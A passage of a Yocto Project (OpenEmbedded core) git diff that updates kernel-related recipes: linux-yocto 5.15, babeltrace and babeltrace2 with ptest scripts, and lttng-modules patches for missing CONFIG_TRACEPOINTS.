+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.15;destsuffix=${KMETA}"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+LINUX_VERSION ?= "5.15.26"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+DEPENDS += "gmp-native libmpc-native"
+
+PV = "${LINUX_VERSION}+git${SRCPV}"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "1"
+
+KERNEL_DEVICETREE:qemuarmv5 = "versatile-pb.dtb"
+
+COMPATIBLE_MACHINE = "qemuarm|qemuarmv5|qemuarm64|qemux86|qemuppc|qemuppc64|qemumips|qemumips64|qemux86-64|qemuriscv64|qemuriscv32"
+
+# Functionality flags
+KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc", "", d)}"
+
+INSANE_SKIP:kernel-vmlinux:qemuppc64 = "textrel"
+
diff --git a/meta/recipes-kernel/linux/linux-yocto_5.2.bb b/meta/recipes-kernel/linux/linux-yocto_5.2.bb
deleted file mode 100644
index 8f75f67c39..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto_5.2.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-KBRANCH ?= "v5.2/standard/base"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-# board specific branches
-KBRANCH_qemuarm ?= "v5.2/standard/arm-versatile-926ejs"
-KBRANCH_qemuarm64 ?= "v5.2/standard/qemuarm64"
-KBRANCH_qemumips ?= "v5.2/standard/mti-malta32"
-KBRANCH_qemuppc ?= "v5.2/standard/qemuppc"
-KBRANCH_qemuriscv64 ?= "v5.2/standard/base"
-KBRANCH_qemux86 ?= "v5.2/standard/base"
-KBRANCH_qemux86-64 ?= "v5.2/standard/base"
-KBRANCH_qemumips64 ?= "v5.2/standard/mti-malta64"
-
-SRCREV_machine_qemuarm ?= "fcbe51dfa0a763a07e4cd66204d6c0ba054663ce"
-SRCREV_machine_qemuarm64 ?= "dd25a04fc5e2e4549fc9b86157a01e0c72b53b03"
-SRCREV_machine_qemumips ?= "9cad7bb8bcd3686f580a3363847ee9c9e86928b1"
-SRCREV_machine_qemuppc ?= "dd25a04fc5e2e4549fc9b86157a01e0c72b53b03"
-SRCREV_machine_qemuriscv64 ?= "dd25a04fc5e2e4549fc9b86157a01e0c72b53b03"
-SRCREV_machine_qemux86 ?= "dd25a04fc5e2e4549fc9b86157a01e0c72b53b03"
-SRCREV_machine_qemux86-64 ?= "dd25a04fc5e2e4549fc9b86157a01e0c72b53b03"
-SRCREV_machine_qemumips64 ?= "dc2be1a546e937374590ce3858b717489ded2c21"
-SRCREV_machine ?= "dd25a04fc5e2e4549fc9b86157a01e0c72b53b03"
-SRCREV_meta ?= "bd0762cd138f1624b5a5f8669cfa3ac2b71cb87b"
-
-# remap qemuarm to qemuarma15 for the 5.2 kernel
-# KMACHINE_qemuarm ?= "qemuarma15"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRANCH}; \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.2;destsuffix=${KMETA}"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
-LINUX_VERSION ?= "5.2.20"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "2"
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
-
-COMPATIBLE_MACHINE = "qemuarm|qemuarmv5|qemuarm64|qemux86|qemuppc|qemumips|qemumips64|qemux86-64|qemuriscv64"
-
-# Functionality flags
-KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc"
-KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES_append_qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "" ,d)}"
-KERNEL_FEATURES_append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "" ,d)}"
diff --git a/meta/recipes-kernel/lttng/babeltrace/run-ptest b/meta/recipes-kernel/lttng/babeltrace/run-ptest
new file mode 100755
index 0000000000..f4b7ce11e2
--- /dev/null
+++ b/meta/recipes-kernel/lttng/babeltrace/run-ptest
@@ -0,0 +1,9 @@
+#!/bin/sh
+# use target=recheck if you want to recheck failing tests
+[ "$target" = "" ] && target=check
+
+# Without --ignore-exit, the tap harness causes any FAILs within a
+# test plan to raise ERRORs; this is just noise.
+makeargs="LOG_DRIVER_FLAGS=--ignore-exit top_srcdir=$PWD top_builddir=$PWD"
+
+exec make -C tests -k -s $makeargs $target 2>/dev/null
diff --git a/meta/recipes-kernel/lttng/babeltrace2/0001-Make-manpages-multilib-identical.patch b/meta/recipes-kernel/lttng/babeltrace2/0001-Make-manpages-multilib-identical.patch
new file mode 100644
index 0000000000..2401b176e6
--- /dev/null
+++ b/meta/recipes-kernel/lttng/babeltrace2/0001-Make-manpages-multilib-identical.patch
@@ -0,0 +1,28 @@
+From 56986190e4b0c10945ce6aaa7ca10d6bd8a26a39 Mon Sep 17 00:00:00 2001
+From: Jeremy Puhlman <jpuhlman@mvista.com>
+Date: Mon, 9 Mar 2020 21:10:35 +0000
+Subject: [PATCH] Make manpages multilib identical
+
+Upstream-Status: Pending
+Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
+---
+ doc/man/asciidoc-attrs.conf.in | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/doc/man/asciidoc-attrs.conf.in b/doc/man/asciidoc-attrs.conf.in
+index ad1183f1..e11c7031 100644
+--- a/doc/man/asciidoc-attrs.conf.in
++++ b/doc/man/asciidoc-attrs.conf.in
+@@ -1,7 +1,7 @@
+ [attributes]
+ # default values
+-system_plugin_path="@LIBDIR@/babeltrace2/plugins"
+-system_plugin_provider_path="@LIBDIR@/babeltrace2/plugin-providers"
++system_plugin_path="@prefix@/lib*/babeltrace2/plugins"
++system_plugin_provider_path="@prefix@/lib*/babeltrace2/plugin-providers"
+ babeltrace_version="@PACKAGE_VERSION@"
+ enable_debug_info="@ENABLE_DEBUG_INFO_VAL@"
+ defrdport=5344
+--
+2.24.1
+
diff --git a/meta/recipes-kernel/lttng/babeltrace2/0001-tests-do-not-run-test-applications-from-.libs.patch b/meta/recipes-kernel/lttng/babeltrace2/0001-tests-do-not-run-test-applications-from-.libs.patch
new file mode 100644
index 0000000000..805dde8064
--- /dev/null
+++ b/meta/recipes-kernel/lttng/babeltrace2/0001-tests-do-not-run-test-applications-from-.libs.patch
@@ -0,0 +1,28 @@
+From 582713cc9a013481eeef253195d644020f637ec4 Mon Sep 17 00:00:00 2001
+Message-Id: <582713cc9a013481eeef253195d644020f637ec4.1583403622.git.wallinux@gmail.com>
+From: Anders Wallin <wallinux@gmail.com>
+Date: Thu, 5 Mar 2020 11:20:04 +0100
+Subject: [PATCH] tests: do not run test applications from .libs
+
+Cross compile specific change
+
+Upstream-Status: Inappropriate [oe-core specific]
+
+Signed-off-by: Anders Wallin <wallinux@gmail.com>
+---
+ tests/lib/test_plugin | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/lib/test_plugin b/tests/lib/test_plugin
+index 652c90cc..1f817c50 100755
+--- a/tests/lib/test_plugin
++++ b/tests/lib/test_plugin
+@@ -26,4 +26,4 @@ fi
+ # shellcheck source=../utils/utils.sh
+ source "$UTILSSH"
+
+-"${BT_TESTS_BUILDDIR}/lib/plugin" "${BT_TESTS_BUILDDIR}/lib/test-plugin-plugins/.libs"
++"${BT_TESTS_BUILDDIR}/lib/plugin" "${BT_TESTS_BUILDDIR}/lib/test-plugin-plugins"
+--
+2.25.1
+
diff --git a/meta/recipes-kernel/lttng/babeltrace2/run-ptest b/meta/recipes-kernel/lttng/babeltrace2/run-ptest
new file mode 100755
index 0000000000..72fe223436
--- /dev/null
+++ b/meta/recipes-kernel/lttng/babeltrace2/run-ptest
@@ -0,0 +1,9 @@
+#!/bin/sh
+# use target=recheck if you want to recheck failing tests
+[ "$target" = "" ] && target=check
+
+# Without --ignore-exit, the tap harness causes any FAILs within a
+# test plan to raise ERRORs; this is just noise.
+makeargs="LOG_DRIVER_FLAGS=--ignore-exit abs_top_srcdir=$PWD abs_top_builddir=$PWD GREP=grep SED=sed PYTHON=python3"
+
+exec make -C tests -k -s $makeargs $target 2>/dev/null
diff --git a/meta/recipes-kernel/lttng/babeltrace2_2.0.4.bb b/meta/recipes-kernel/lttng/babeltrace2_2.0.4.bb
new file mode 100644
index 0000000000..248b84e98d
--- /dev/null
+++ b/meta/recipes-kernel/lttng/babeltrace2_2.0.4.bb
@@ -0,0 +1,93 @@
+SUMMARY = "Babeltrace2 - Trace Format Babel Tower"
+DESCRIPTION = "Babeltrace provides trace read and write libraries in host side, as well as a trace converter, which used to convert LTTng 2.0 traces into human-readable log."
+HOMEPAGE = "http://babeltrace.org/"
+BUGTRACKER = "https://bugs.lttng.org/projects/babeltrace"
+LICENSE = "MIT & GPL-2.0-only & LGPL-2.1-only & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a6a458c13f18385b7bc5069a6d7b176e"
+
+DEPENDS = "glib-2.0 util-linux popt bison-native flex-native"
+
+SRC_URI = "git://git.efficios.com/babeltrace.git;branch=stable-2.0 \
+ file://run-ptest \
+ file://0001-tests-do-not-run-test-applications-from-.libs.patch \
+ file://0001-Make-manpages-multilib-identical.patch \
+ "
+SRCREV = "23e8cf4e6fdc1d0b230e964dafac08a57e6228e6"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>2(\.\d+)+)$"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig ptest python3targetconfig
+
+EXTRA_OECONF = "--disable-debug-info"
+
+PACKAGECONFIG ??= "manpages"
+PACKAGECONFIG[manpages] = ", --disable-man-pages, asciidoc-native xmlto-native"
+
+FILES:${PN}-staticdev += "${libdir}/babeltrace2/plugins/*.a"
+FILES:${PN} += "${libdir}/babeltrace2/plugins/*.so"
+
+ASNEEDED = ""
+
+RDEPENDS:${PN}-ptest += "bash gawk python3"
+
+do_compile_ptest () {
+ make -C tests all
+}
+
+do_install_ptest () {
+ install -d "${D}${PTEST_PATH}/tests"
+
+ # Copy required files from source directory
+ for d in $(find "${S}/tests" -type d -printf '%P ') ; do
+ install -d "${D}${PTEST_PATH}/tests/$d"
+ find "${S}/tests/$d" -maxdepth 1 -executable -type f \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ find "${S}/tests/$d" -maxdepth 1 -name *.sh \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ find "${S}/tests/$d" -maxdepth 1 -name *.py \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ find "${S}/tests/$d" -maxdepth 1 -name *.expect \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ done
+ install -d "${D}${PTEST_PATH}/tests/data/ctf-traces/"
+ cp -a ${S}/tests/data/ctf-traces/* ${D}${PTEST_PATH}/tests/data/ctf-traces/
+
+ # Copy the tests directory tree and the executables and
+ # Makefiles found within.
+ install -D "${B}/tests/Makefile" "${D}${PTEST_PATH}/tests/"
+ for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
+ install -d "${D}${PTEST_PATH}/tests/$d"
+ find "${B}/tests/$d" -maxdepth 1 -executable -type f \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ test -r "${B}/tests/$d/Makefile" && \
+ install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
+ find "${B}/tests/$d" -maxdepth 1 -name *.sh \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ done
+
+ for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
+ for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
+ cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
+ done
+ done
+
+ # Prevent attempts to update Makefiles during test runs, and
+ # silence "Making check in $SUBDIR" messages.
+ find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
+ sed -i \
+ -e '/Makefile:/,/^$/d' \
+ -e '/%: %.in/,/^$/d' \
+ -e '/echo "Making $$target in $$subdir"; \\/d' \
+ -e 's/^srcdir = \(.*\)/srcdir = ./' \
+ -e 's/^builddir = \(.*\)/builddir = ./' \
+ -e 's/^all-am:.*/all-am:/' \
+ {} +
+
+ # Substitute links to installed binaries.
+ install -d "${D}${PTEST_PATH}/src/cli/"
+ ln -s "${bindir}/babeltrace2" ${D}${PTEST_PATH}/src/cli/
+
+ # Remove architechture specific testfiles
+ rm -rf ${D}${PTEST_PATH}/tests/data/plugins/flt.lttng-utils.debug-info/*
+}
diff --git a/meta/recipes-kernel/lttng/babeltrace_1.5.7.bb b/meta/recipes-kernel/lttng/babeltrace_1.5.7.bb
deleted file mode 100644
index 05ef6d099c..0000000000
--- a/meta/recipes-kernel/lttng/babeltrace_1.5.7.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "Babeltrace - Trace Format Babel Tower"
-DESCRIPTION = "Babeltrace provides trace read and write libraries in host side, as well as a trace converter, which used to convert LTTng 2.0 traces into human-readable log."
-HOMEPAGE = "http://www.efficios.com/babeltrace/"
-BUGTRACKER = "https://bugs.lttng.org/projects/babeltrace"
-LICENSE = "MIT & GPLv2"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=76ba15dd76a248e1dd526bca0e2125fa"
-
-DEPENDS = "glib-2.0 util-linux popt bison-native flex-native"
-
-SRC_URI = "git://git.linuxfoundation.org/diamon/babeltrace.git;branch=stable-1.5"
-SRCREV = "d4014aeef4b89a4aaab1af42d7b0d143d62da0ff"
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)$"
-
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF = "--disable-debug-info"
-
-ASNEEDED = ""
diff --git a/meta/recipes-kernel/lttng/babeltrace_1.5.8.bb b/meta/recipes-kernel/lttng/babeltrace_1.5.8.bb
new file mode 100644
index 0000000000..19601e7d1b
--- /dev/null
+++ b/meta/recipes-kernel/lttng/babeltrace_1.5.8.bb
@@ -0,0 +1,98 @@
+SUMMARY = "Babeltrace - Trace Format Babel Tower"
+DESCRIPTION = "Babeltrace provides trace read and write libraries in host side, as well as a trace converter, which used to convert LTTng 2.0 traces into human-readable log."
+HOMEPAGE = "http://babeltrace.org/"
+BUGTRACKER = "https://bugs.lttng.org/projects/babeltrace"
+LICENSE = "MIT & GPL-2.0-only & LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=76ba15dd76a248e1dd526bca0e2125fa"
+
+DEPENDS = "glib-2.0 util-linux popt bison-native flex-native"
+
+SRC_URI = "git://git.efficios.com/babeltrace.git;branch=stable-1.5 \
+ file://run-ptest \
+ "
+SRCREV = "054a54ae10b01a271afc4f19496c041b10fb414c"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>1(\.\d+)+)$"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig ptest
+
+EXTRA_OECONF = "--disable-debug-info"
+
+ASNEEDED = ""
+
+RDEPENDS:${PN}-ptest += "bash gawk"
+
+addtask do_patch_ptest_path after do_patch before do_configure
+do_patch_ptest_path () {
+ for f in $(grep -l -r abs_top_srcdir ${S}/tests); do
+ sed -i 's:\@abs_top_srcdir\@:${PTEST_PATH}:' ${f}
+ done
+
+ for f in $(grep -l -r abs_top_builddir ${S}/tests); do
+ sed -i 's:\@abs_top_builddir\@:${PTEST_PATH}:' ${f}
+ done
+ for f in $(grep -l -r GREP ${S}/tests); do
+ sed -i 's:\@GREP\@:grep:' ${f}
+ done
+
+ for f in $(grep -l -r SED ${S}/tests); do
+ sed -i 's:\@SED\@:sed:' ${f}
+ done
+}
+
+do_compile_ptest () {
+ make -C tests all
+}
+
+do_install_ptest () {
+ # Copy required files from source directory
+ for f in config/tap-driver.sh config/test-driver; do
+ install -D "${S}/$f" "${D}${PTEST_PATH}/$f"
+ done
+ install -d "$f" "${D}${PTEST_PATH}/tests/ctf-traces/"
+ cp -a ${S}/tests/ctf-traces/* ${D}${PTEST_PATH}/tests/ctf-traces/
+
+ # Copy the tests directory tree and the executables and
+ # Makefiles found within.
+ install -D "${B}/tests/Makefile" "${D}${PTEST_PATH}/tests/"
+ for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
+ install -d "${D}${PTEST_PATH}/tests/$d"
+ find "${B}/tests/$d" -maxdepth 1 -executable -type f \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ test -r "${B}/tests/$d/Makefile" && \
+ install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
+ find "${B}/tests/$d" -maxdepth 1 -name *.sh \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ done
+
+ for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
+ for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
+ cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
+ done
+ done
+
+ install -D ${B}/formats/ctf/metadata/.libs/ctf-parser-test \
+ ${D}${PTEST_PATH}/formats/ctf/metadata/ctf-parser-test
+
+ # Prevent attempts to update Makefiles during test runs, and
+ # silence "Making check in $SUBDIR" messages.
+ find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
+ sed -i \
+ -e '/Makefile:/,/^$/d' \
+ -e '/$(check_SCRIPTS)/s/^/#/' \
+ -e '/%: %.in/,/^$/d' \
+ -e '/echo "Making $$target in $$subdir"; \\/d' \
+ -e 's/^srcdir = \(.*\)/srcdir = ./' \
+ -e 's/^builddir = \(.*\)/builddir = ./' \
+ -e 's/^all-am:.*/all-am:/' \
+ {} +
+
+ # Remove path to babeltrace.
+ for f in $(grep -l -r "^BABELTRACE_BIN" ${D}${PTEST_PATH}); do
+ sed -i 's:^BABELTRACE_BIN.*:BABELTRACE_BIN=/usr/bin/babeltrace:' ${f}
+ done
+ for f in $(grep -l -r "^BTBIN" ${D}${PTEST_PATH}); do
+ sed -i 's:^BTBIN.*:BTBIN=/usr/bin/babeltrace:' ${f}
+ done
+}
diff --git a/meta/recipes-kernel/lttng/lttng-modules/0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch b/meta/recipes-kernel/lttng/lttng-modules/0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch
new file mode 100644
index 0000000000..76a5787c37
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-modules/0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch
@@ -0,0 +1,46 @@
+From 878f89b6136ff7b870a19e04901cc6f316bbe10a Mon Sep 17 00:00:00 2001
+From: Bruce Ashfield <bruce.ashfield@gmail.com>
+Date: Sat, 15 May 2021 10:26:38 -0400
+Subject: [PATCH] src/Kbuild: change missing CONFIG_TRACEPOINTS to warning
+
+Taken from a previous patch to the main lttng-modules Makefile, by
+Otavio Salvador:
+
+ The lttng-modules are being pulled by the tools-profile image feature,
+ however, not every kernel has the CONFIG_TRACEPOINTS feature enabled.
+
+ This change makes the build do not fail when CONFIG_TRACEPOINTS is not
+ available, allowing it to be kept being pulled by default.
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Bruce Ashfield <bruce.ashfield@gmail.com>
+---
+ src/Kbuild | 7 ++++++-
+ 1 file changed, 6 insertions(+), 1 deletion(-)
+
+diff --git a/src/Kbuild b/src/Kbuild
+index 7137874..04eb5c9 100644
+--- a/src/Kbuild
++++ b/src/Kbuild
+@@ -2,10 +2,13 @@
+
+ ifdef CONFIG_LOCALVERSION # Check if dot-config is included.
+ ifeq ($(CONFIG_TRACEPOINTS),)
+- $(error The option CONFIG_TRACEPOINTS needs to be enabled in your kernel configuration)
++ $(warning The option CONFIG_TRACEPOINTS needs to be enabled in your kernel configuration)
++ DISABLE_MODULE = y
+ endif # CONFIG_TRACEPOINTS
+ endif # ifdef CONFIG_LOCALVERSION
+
++ifneq ($(DISABLE_MODULE),y)
++
+ TOP_LTTNG_MODULES_DIR := $(shell dirname $(lastword $(MAKEFILE_LIST)))/..
+
+ lttng_check_linux_version = $(shell pwd)/include/linux/version.h
+@@ -150,3 +153,5 @@ lttng-statedump-objs := lttng-statedump-impl.o
+ obj-$(CONFIG_LTTNG) += probes/
+ obj-$(CONFIG_LTTNG) += lib/
+ obj-$(CONFIG_LTTNG) += tests/
++
++endif # DISABLE_MODULE
diff --git a/meta/recipes-kernel/lttng/lttng-modules/BUILD_RUNTIME_BUG_ON-vs-gcc7.patch b/meta/recipes-kernel/lttng/lttng-modules/BUILD_RUNTIME_BUG_ON-vs-gcc7.patch
deleted file mode 100644
index 76063607a8..0000000000
--- a/meta/recipes-kernel/lttng/lttng-modules/BUILD_RUNTIME_BUG_ON-vs-gcc7.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From ab07574ef90fa510f293c37897d577066a88fe0d Mon Sep 17 00:00:00 2001
-From: Nathan Lynch <nathan_lynch@mentor.com>
-Date: Tue, 25 Apr 2017 16:26:57 -0500
-Subject: [PATCH] BUILD_RUNTIME_BUG_ON vs gcc7
-
-Avoid using LTTng's BUILD_RUNTIME_BUG_ON macro, as it appears to run
-into a similar problem as Linux experienced with ilog2.
-
-See:
-https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=474c90156c8dcc2fa815e6716cc9394d7930cb9c
-https://gcc.gnu.org/bugzilla/show_bug.cgi?id=72785
-
-Upstream-Status: Pending
-Signed-off-by: Nathan Lynch <nathan_lynch@mentor.com>
----
- lib/align.h | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/lib/align.h b/lib/align.h
-index 5b91ae87410b..5e134cd485fe 100644
---- a/lib/align.h
-+++ b/lib/align.h
-@@ -48,7 +48,7 @@
- */
- #define offset_align(align_drift, alignment) \
- ({ \
-- BUILD_RUNTIME_BUG_ON((alignment) == 0 \
-+ BUG_ON((alignment) == 0 \
- || ((alignment) & ((alignment) - 1))); \
- (((alignment) - (align_drift)) & ((alignment) - 1)); \
- })
-@@ -63,7 +63,7 @@
- */
- #define offset_align_floor(align_drift, alignment) \
- ({ \
-- BUILD_RUNTIME_BUG_ON((alignment) == 0 \
-+ BUG_ON((alignment) == 0 \
- || ((alignment) & ((alignment) - 1))); \
- (((align_drift) - (alignment)) & ((alignment) - 1)); \
- })
---
-2.9.3
-
diff --git a/meta/recipes-kernel/lttng/lttng-modules/Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch b/meta/recipes-kernel/lttng/lttng-modules/Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch
deleted file mode 100644
index e411242272..0000000000
--- a/meta/recipes-kernel/lttng/lttng-modules/Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From 1b0e574d680101105a6c1e8931c78824f5a97a42 Mon Sep 17 00:00:00 2001
-From: Otavio Salvador <otavio@ossystems.com.br>
-Date: Mon, 5 Sep 2016 17:08:56 +0000
-Subject: [PATCH] Makefile: Do not fail if CONFIG_TRACEPOINTS is not enabled
-Organization: O.S. Systems Software LTDA.
-
-The lttng-modules are being pulled by the tools-profile image feature,
-however, not every kernel has the CONFIG_TRACEPOINTS feature enabled.
-
-This change makes the build do not fail when CONFIG_TRACEPOINTS is not
-available, allowing it to be kept being pulled by default.
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
----
- Makefile | 9 +++++----
- 1 file changed, 5 insertions(+), 4 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index 8602649..75550cc 100644
---- a/Makefile
-+++ b/Makefile
-@@ -8,10 +8,7 @@ ifneq ($(KERNELRELEASE),)
- # and defines the modules to be built.
-
- ifdef CONFIG_LOCALVERSION # Check if dot-config is included.
-- ifeq ($(CONFIG_TRACEPOINTS),)
-- $(error The option CONFIG_TRACEPOINTS needs to be enabled in your kernel configuration)
-- endif # CONFIG_TRACEPOINTS
-- endif # ifdef CONFIG_LOCALVERSION
-+ ifneq ($(CONFIG_TRACEPOINTS),)
-
- TOP_LTTNG_MODULES_DIR := $(shell dirname $(lastword $(MAKEFILE_LIST)))
-
-@@ -94,6 +91,10 @@ ifneq ($(KERNELRELEASE),)
- obj-$(CONFIG_LTTNG) += lib/
- obj-$(CONFIG_LTTNG) += tests/
-
-+ else
-+ $(warning The option CONFIG_TRACEPOINTS needs to be enabled in your kernel configuration)
-+ endif # CONFIG_TRACEPOINTS
-+ endif # ifdef CONFIG_LOCALVERSION
- else # KERNELRELEASE
-
- # This part of the Makefile is used when the 'make' command is runned in the
---
-2.1.4
-
diff --git a/meta/recipes-kernel/lttng/lttng-modules_2.10.11.bb b/meta/recipes-kernel/lttng/lttng-modules_2.10.11.bb
deleted file mode 100644
index 789a3be850..0000000000
--- a/meta/recipes-kernel/lttng/lttng-modules_2.10.11.bb
+++ /dev/null
@@ -1,46 +0,0 @@
-SECTION = "devel"
-SUMMARY = "Linux Trace Toolkit KERNEL MODULE"
-DESCRIPTION = "The lttng-modules 2.0 package contains the kernel tracer modules"
-LICENSE = "LGPLv2.1 & GPLv2 & MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=c4613d1f8a9587bd7b366191830364b3 \
- file://gpl-2.0.txt;md5=751419260aa954499f7abaabaa882bbe \
- file://lgpl-2.1.txt;md5=243b725d71bb5df4a1e5920b344b86ad \
- "
-
-inherit module
-
-COMPATIBLE_HOST = '(x86_64|i.86|powerpc|aarch64|mips|nios2|arm|riscv).*-linux'
-
-SRC_URI = "https://lttng.org/files/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch \
- file://BUILD_RUNTIME_BUG_ON-vs-gcc7.patch \
- "
-
-SRC_URI[md5sum] = "c618fb646514dfc1bf910cfd7cda4256"
-SRC_URI[sha256sum] = "7f91e39b2e8e46d8bbba2b4c8c1614f1fb380611cd1a1fccc1d1859be26112f1"
-
-export INSTALL_MOD_DIR="kernel/lttng-modules"
-
-EXTRA_OEMAKE += "KERNELDIR='${STAGING_KERNEL_DIR}'"
-
-do_install_append() {
- # Delete empty directories to avoid QA failures if no modules were built
- find ${D}/${nonarch_base_libdir} -depth -type d -empty -exec rmdir {} \;
-}
-
-python do_package_prepend() {
- if not os.path.exists(os.path.join(d.getVar('D'), d.getVar('nonarch_base_libdir')[1:], 'modules')):
- bb.warn("%s: no modules were created; this may be due to CONFIG_TRACEPOINTS not being enabled in your kernel." % d.getVar('PN'))
-}
-
-BBCLASSEXTEND = "devupstream:target"
-LIC_FILES_CHKSUM_class-devupstream = "file://LICENSE;md5=c4613d1f8a9587bd7b366191830364b3"
-DEFAULT_PREFERENCE_class-devupstream = "-1"
-SRC_URI_class-devupstream = "git://git.lttng.org/lttng-modules;branch=stable-2.10 \
- file://Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch \
- file://BUILD_RUNTIME_BUG_ON-vs-gcc7.patch \
- "
-SRCREV_class-devupstream = "624aca5d7507fbd11ea4a1a474c3aa1031bd9a31"
-PV_class-devupstream = "2.10.10+git${SRCPV}"
-S_class-devupstream = "${WORKDIR}/git"
-SRCREV_FORMAT ?= "lttng_git"
diff --git a/meta/recipes-kernel/lttng/lttng-modules_2.13.2.bb b/meta/recipes-kernel/lttng/lttng-modules_2.13.2.bb
new file mode 100644
index 0000000000..86e0931af2
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-modules_2.13.2.bb
@@ -0,0 +1,39 @@
+SECTION = "devel"
+SUMMARY = "Linux Trace Toolkit KERNEL MODULE"
+DESCRIPTION = "The lttng-modules 2.0 package contains the kernel tracer modules"
+HOMEPAGE = "https://lttng.org/"
+LICENSE = "LGPL-2.1-only & GPL-2.0-only & MIT"
